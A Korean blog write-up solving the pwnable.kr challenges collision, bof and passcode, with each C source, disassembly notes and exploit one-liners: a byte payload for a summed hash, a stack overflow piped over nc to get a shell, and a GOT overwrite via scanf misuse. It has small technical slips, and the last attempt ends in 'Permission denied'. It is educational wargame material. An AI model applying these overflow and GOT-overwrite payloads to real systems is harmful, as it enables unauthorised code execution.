본문 바로가기

3. Pwnable (포너블)/1) Write UP

[5주차] pwnable.kr 문제 풀이_pwnabless

pwnable.kr/play.php

 

https://pwnable.kr/play.php

 

pwnable.kr

 

1. collision

문제

 

해당 문제는 해시 충돌에 관한 문제임

 

MD5 해시?

128bit의 길이를 보유하고 있음

(현재 사용되고 있는 SHA256 해시는 256bit의 길이 보유)

 

해시 충돌(Hash collision)?

서로 상이한 입력값에 같은 해시값이 출력되는 상태

 

∴ SHA256 해시보다 MD5의 해시 충돌 발생 가능성이 더 높음

    → 따라서 현재는 MD5 해시를 잘 사용하지 않음

 

문제 풀이

(1)

문제에서 제시한 ssh col@pwnable.kr -p2222 로 접속 / pw 입력

 

(2)

ls 명령어와 ls -l 명령어를 통해 파일 목록 및 권한 확인

 

(3)

cat col.c 명령어를 입력해 C코드 확인

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		setregid(getegid(), getegid());
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

 

main 함수를 먼저 살펴보면

argc와 argv가 등장함

argc = (counter) 인자의 개수
argv = (vector) 인자의 위치(인덱스)

e.g.) cat col.c
argc = 2
argv[0] = cat
argv[1] = col.c

 

위의 내용을 토대로 하나씩 살펴보면

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}

인자의 개수가 2개 미만이면 printf문을 출력시키면서 프로그램 종료

 

	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

두번째 인자의 크기가 20byte가 아닌 경우 printf문을 출력시키면서 프로그램 종료

 

	if(hashcode == check_password( argv[1] )){
		setregid(getegid(), getegid());
		system("/bin/cat flag");
		return 0;
	}

두번째 인자가 hashcode와 같다면 flag 파일을 실행하여 원하는 값을 얻을 수 있음

 

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

hashcode는 0x21DD09EC로 저장되어 있음

 

두번째 인자 값을 p라는 변수에 char형으로 받고,

이를 다시 int형으로 전환해 ip라는 변수에 저장

 

그 후 for문을 이용해 res라는 변수에 저장

for문은 0~4까지 총 5번 반복

 

char(문자) = 1byte / int(정수) = 4byte

∴ 20byte를 4byte씩 5번 나누어 res에 저장 = res에 20byte가 저장됨

 

따라서 res = ip[0] + ip[1] + ip[2] + ip[3] + ip[4]가 되고,

이는 0x21DD09EC = ip[0] + ip[1] + ip[2] + ip[3] + ip[4]가 됨을 알 수 있음

 

ip변수에 담긴 것은 20byte의 int형 자료이기 때문에,

ip[0] ~ ip[4]에는 각각 5byte의 int변수가 대입됨

 

0x21DD09EC를 5로 나눈 값은  6C5CEC8

해당 값이 나머지 없이 딱 떨어지는 값인지 확인하기 위해 다시 5를 곱함

5를 다시 곱했을 때 0x21DD09EC 값이 나와야 하지만, 값이 다름

이는 나머지 값이 존재한다는 뜻이고, 해당 값은 4임을 알 수 있음

(8 + 4 = C(12))

 

몫에 해당 나머지를 더한 값은 6C5CECC

 

여기서 알 수 있는 내용은

나머지가 없었다면 ip[0] ~ ip[4]의 값은 각각 같은 값이 대입되었을 것임

 

그러나 실제로는 나머지 값이 존재하기에

5개의 ip[i] 중 4개는 같은 값이 대입되고, 나머지 1개에는 나머지 값이 더해진 값이 저장됨

 

∴ 6C5CEC8이 4개, 나머지 1개에는 21DD09EC이 저장됨

(21DD09EC = 6C5CEC8*4 + 6C5CECC)

 

(4)

main 함수의 내용대로 인자 입력

인자가 2개인 형태로 입력해야 함

 

why?

첫번째 인자는 실행할 파일명을 입력하고

두번째 인자의 값을 기준으로 조건을 확인하기 때문에, 명령어 입력 시 하나의 인자 형태로 만들어줘야 함

 

현재 사용하고 있는 x84-64 아키텍처는 기본적으로 리틀 엔디안 방식을 사용

따라서 최하위 비트부터 차례대로 저장하면,

6C5CEC8는 \xC8\xCE\xC5\x06 이 되고

6C5CECC 는 \xCC\xCE\xC5\x06이 됨

 

[ python2이 설치되어 있을 경우 ]

./col `python2 -c 'print "\xC8\xCE\xC5\x06"*4 + "\xCC\xCE\xC5\x06"'`

처음과 끝은 `(백틱) 사용! → '(따옴표) X

 

[ python3이 설치되어 있을 경우 ]

./col `python3 -c 'import sys; sys.stdout.buffer.write(b"\xC8\xCE\xC5\x06"*4 + b"\xCC\xCE\xC5\x06")'`

b"..." = byte 문자열

 

설치되어 있는 python 버전에 맞게 상단의 명령어를 입력해주면 flag값 획득

 


참고

hashcode의 값을 5로 나누어 계산하지 않고,

ip[i] 중 하나의 값을 임의로 설정한다면?

 

임의의 값으로 0x01010101을 대입한다고 가정

01010101 * 4 = 0x04040404

 

Hashcood – 04040404 = 21DD09EC – 04040404

= 0x1DD905E8

 

해당 16진수 값으로도 정답 도출 가능

 

[ 여기서 알 수 있는 점 ] 

서로 다른 16진수 값을 입력했음에도, 결과값이 모두 hashcood의 값과 동일함

따라서 문제에서 MD5 hash collision이라는 내용을 통해

입력값이 정해지지 않았고, 어떻게든 hashcood 값과 일치하기만 하면 되는

해시 충돌 현상에 대해 힌트를 주고자 했던 것으로 추측할 수 있음

 

[ 주의할 점 ]

16진수 값 중 null byte가 포함되면 프로그램이 조기 종료될 가능성이 있음


2. bof

문제

 

해당 문제는 버퍼 오버플로우 취약점을 이용한 문제임

 

버퍼 오버플로우(buffer overflow)?

특정 메모리 공간보다 많은 데이터를 입력받아 메모리의 저장 공간이 초과되는 현상

 

문제 풀이

(1)

문제에서 제시한 ssh bof@pwnable.kr -p2222 로 접속 / pw 입력

 

(2)

ls 명령어와 ls -l 명령어를 통해 파일 목록 및 권한 확인

 

(3)

cat bof.c 명령어를 입력해 C코드 확인

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

func 함수를 먼저 살펴보면

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

overflowme라는 char형 변수의 크기를 32만큼 부여 (32byte)

그 후 사용자에게 값을 입력받고 (get) 해당 값을 overflowme 변수에 저장

if문을 통해 key값이 0xcafebabe와 비교 (func 함수의 인자가 key 값임)

 

main 함수를 살펴보면

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

상단의 func 함수를 호출해 인자를 0xdeadbeef로 받음

이는 해당 프로그램 실행 시 항상 func 함수에는 0xdeadbeef라는 값이 들어가기 때문에,

if문에서의 key값 비교가 성립이 될 수 없음 (항상 False)

 

따라서 0xdeadbeef값을 상단의 key값인 0xcafebabe값으로 덮어 씌워야 하는 작업 필요

 

 

(4)

디버깅을 통해 자세히 비교

 

func 함수를 자세히 비교하기 위해 disass func 명령어 입력

 

상단의 C코드와 같이 비교해보면

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

<func+55> 구간에서 gets 함수를 실행함

따라서 해당 구간 전에 저장할 위치가 표시되어 있을 것이라고 추측 가능

 

<func+51> 구간에서 eax, [ebp-0x2C]를 통해

사용자가 입력한 값을 overflowme라는 변수에 저장하는데, 그 위치가 [ebp-0x2C]임을 알 수 있음

 

<func+63> 구간에서 문자열 비교 명령어인 cmp를 사용

DWORD PTR [ebp+0x8],0xcafebabe를 통해 key값이 [ebp+0x8]에 위치해 있음을 알 수 있음

 

0x2C = 44

0x8 = 8

 

∴overflowme = ebp-44 / key = ebp+8

  → overflowme와 key 사이의 거리는 44 + 8 = 52byte가 됨

      (둘 사이의 거리를 구해야 하기 때문에 서로 합산)

 

∴52byte만큼 아무 데이터를 삽입하고, 그 후에 원하는 key값인 0xcafebabe로 덮어씌울 예정

 

 

(5)

현재 사용하고 있는 x84-64 아키텍처는 기본적으로 리틀 엔디안 방식을 사용

따라서 최하위 비트부터 차례대로 저장하면,

0xcafebabe \xbe\xba\xfe\xca가 됨

 

[ python2이 설치되어 있을 경우 ]

(python2 -c 'print"A"*52 + b"\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000

 

[ python3이 설치되어 있을 경우 ]

(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*52 + b"\xbe\xba\xfe\xca\n")' ; cat) | nc pwnable.kr 9000

\n = 줄바꿈 (이스케이프 문자) 포함되어야 함!

 

why? 

get() 함수는 \n이 없으면 입력을 종료하지 않음

 

but, python2에서의 print 함수는 자동으로 \n이 포함되어 있기에, \n 문자 추가입력 불필요

  → python3에서는 \n를 포함하지 않기에 \n 문자 추가 입력 필요

 

 

| = 파이프라인

A | B = B에 접속해서 A 명령어 실행

상단처럼 커서 깜빡일 때 ls 명령어 입력

 

중간에 flag 파일 확인

 

cat flag 명령어를 입력해 flag값 획득


3. passcode

문제

문제 풀이

(1)

문제에서 제시한 ssh passcode@pwnable.kr -p2222 로 접속 / pw 입력

 

(2)

ls 명령어와 ls -l 명령어를 통해 파일 목록 및 권한 확인

 

(3)

cat passcode.c 명령어를 입력해 C코드 확인

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

 

main 함수를 먼저 살펴보면

int main(){
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

첫번째 print문 실행 후, welcome과 login 함수를 실행하는 것을 알 수 있음

 

 

welcome 함수를 살펴보면

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

name이라는 char형 변수의 크기를 100만큼 선언해주고 (100byte)

사용자에게 입력받아(scanf) print문을 통해 다시 출력해주는 함수임

 

name은 배열 형태로 선언

따라서 99byte의 글자와 1byte의 null 문자를 갖게 됨 

→ 배열로 선언했기 때문에, 해당 배열의 시작 주소가 배열의 이름과 동일함

   (name = &name[0])

 

scanf("%100s", name);

사용자가 입력한 값에서 최대 100글자를 읽어 name에 저장

 

 

login 함수를 살펴보면

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

상단의 코드와 달리 해당 코드는 passcode1과 passcode2를 int로 선언했기에 (배열X)

scanf 함수 사용 시 해당 변수의 메모리 주소를 작성해줘야 함

 

그러나 passcode1과 passcode2 모두 메모리 주소(포인터)가 아닌, 변수 이름(값)을 작성했기 때문에 오류 발생

이는 각 passcode의 주소가 아닌, 각 passcode에 저장되는 값을 주소로 인식하여 해당 주소에 scanf 값을 저장함

(원래는 각 passcode의 주소에 scanf 값을 저장해야 함)

 

if문을 살펴보면 passcode1==123456 이면서 passcode2==13371337 일 경우, flag 획득 가능

 

따라서 각 passcode가 가리키는 주소가 어디인지 찾고,

그 주소에 상단의 값으로 변경해주면 flag 획득 가능할 것이라고 추측해볼 수 있음

 

 

(4)

디버깅을 통해 자세히 비교

 

welcome 함수를 자세히 비교하기 위해 disass welcome 명령어 입력

 

<welcome+50> 구간을 보면 lea eax, [ebp-0x70]을 통해

name이라는 변수의 시작 주소는 [ebp-0x70]임을 알 수 있음

 

<welcome+54> 구간의 lea eax, [ebx=0x1f8b]는 출력할 문자열의 주소를 나타냄

상단의 C코드에서 scanf를 통해 사용자 입력을 받기 전의 print문의 주소를 의미함

<welcome+76> 구간도 마찬가지임

해당 구간은 scanf를 통해 사용자 입력을 받은 후의 printf문의 주소를 의미함

 

 

login 함수를 자세히 비교하기 위해 disass login 명령어 입력

 

<login+40> 구간을 통해 passcode1의 시작 주소가 [ebp-0x10]임을 알 수 있음

 

상단에서 name의 시작 주소가 [ebp-0x70]임을 확인함

name과 passcode1 간의 주소 거리는 0x60(96byte)만큼 차이가 남

 

상단의 C코드를 통해 name은 최대 100byte의 크기를 가지고 있다고 알아냈음

그러나 name과 passcode1 간의 차이는 96byte임

이는 4byte만큼 서로 겹친다는 뜻임

 

이를 정리하면

name이라는 변수에 사용자 입력을 받으니,

입력값을 96byte이상 받으면 passcode1의 주소(영역)을 침범할 수 있다는 것을 의미함

 

login 함수의 C코드 중 passcode1 부분을 다시 살펴보면

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

해당 부분에서 fflush(stdin) 코드가 scanf 함수로 사용자 입력을 받은 후 바로 실행됨

 

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		setregid(getegid(), getegid());
                system("/bin/cat flag");
        }

만약 fflush(stdin) 해당 코드를 flag값을 알 수 있는 system("/bin/cat flag") 코드로 바꾼다면

flag값을 획득할 수 있다는 추측을 해 볼 수 있음

 

 

(5)

이를 위해서는 fflush() 함수와 system() 함수가 실행되는 시작 주소를 알아야 함

 

다만 위 2개의 함수는 외부 라이브러리 함수(C 표준 라이브러리(libc)에 정의된 함수)이므로

해당 함수의 직접적인 주소는 상단의 디스어셈블된 코드로는 알 수 없음

 

따라서 외부 라이브러리 함수를 처음 호출 시 동작 과정

PLT → GOT → 동적 링커(ld-linux) → GOT로 이루어짐

⚲ PLT(Procedure Linkage Table)
외부 함수 호출을 간접적으로 수행하기 위한 중간 단계
(외부 함수를 호출할 수 있도록 실행하는 중간 점프 코드)

⚲ GOT(Global Offset Table)
외부 라이브러리 함수의 주소를 동적으로 참조할 수 있게 만들어주는 테이블
(login 함수를 처음 실행하기 전에는 외부 라이브러리 함수들의 주소가
login 함수에 반영되어 있지 않아 외부 함수들의 실제 주소를 알 수 없음
따라서 login 함수 실행 시 외부 함수들을 사용할때는 GOT 값 확인)

⚲ 동적 링커(Dynamic Linker)
프로그램 실행 시 필요한 함수의 실제 메모리 주소를 
공유 라이브러리(.so 파일)에서 찾아서 GOT에게 연결(바인딩)해주는 운영체제의 일부분

 

login 함수 실행 도중 fflush가 처음 호출되면 PLT를 통해 GOT에 접근하고,

동적 링커가 실제 libc의 fflush 주소를 확인해 GOT에 저장함

그 후에는 PLT가 GOT에 담긴 주소로 jmp하여 외부 라이브러리가 실행되도록 함

 

∴ 결국 fflush 함수의 GOT 값을 알아내야 함(함수의 실제 주소)

 

상단의 login 함수의 디스어셈블된 코드에서

 

fflush 함수의 PLT가 0x8049060임을 알아낼 수 있음

 

이 주소에 x/i 명령어를 사용하여 GOT 주소를 확인할 수 있음

 x/i 주소
해당 주소의 내용을 기계어 명령어(instruction)로 해석해서 디스어셈블(Disassemble)한 결과 한줄을 출력해주는 명령어

 

jmp DWORD PTR ds:0x804c014를 통해 GOT가 가지고 있는 주소는 0x804c014임을 알 수 있음

 fflush 함수의 실제 주소는 0x804c014임

 

 

상단의 login 함수의 디스어셈블된 코드에서

system 함수의 인자인 "/bin/sh"의 주소가 0x080492bd임을 알 수 있음

 

이를 통해 passcode1에 fflush 함수의 GOT 주소를

passcode2에 "/bin/cat flag" 주소로 대입하면

scanf 함수를 악용해 fflush 함수의 GOT를 system("/bin/cat flag") 주소로 덮어씌울 수 있다는 추측을 해볼 수 있음

 

 

(6)

현재 사용하고 있는 x84-64 아키텍처는 기본적으로 리틀 엔디안 방식을 사용

따라서 최하위 비트부터 차례대로 저장하면,

fllush함수의 GOT 주소를 \x14\xc0\x04\x08로 변경함

 

상단의 C코드에서 passcode2는 int형으로 저장되어 있기에,

"/bin/sh"의 주소인 0x080492bd을 10진수 형태로 변환하면 134517437이 됨

 

이를 토대로 명령어를 작성하면

(python2 -c 'print "A"*96 + "\x14\xc0\x04\x08" + "134517437"' ; cat) | ./passcode

 

/bin/cat: flag: Permission denied..?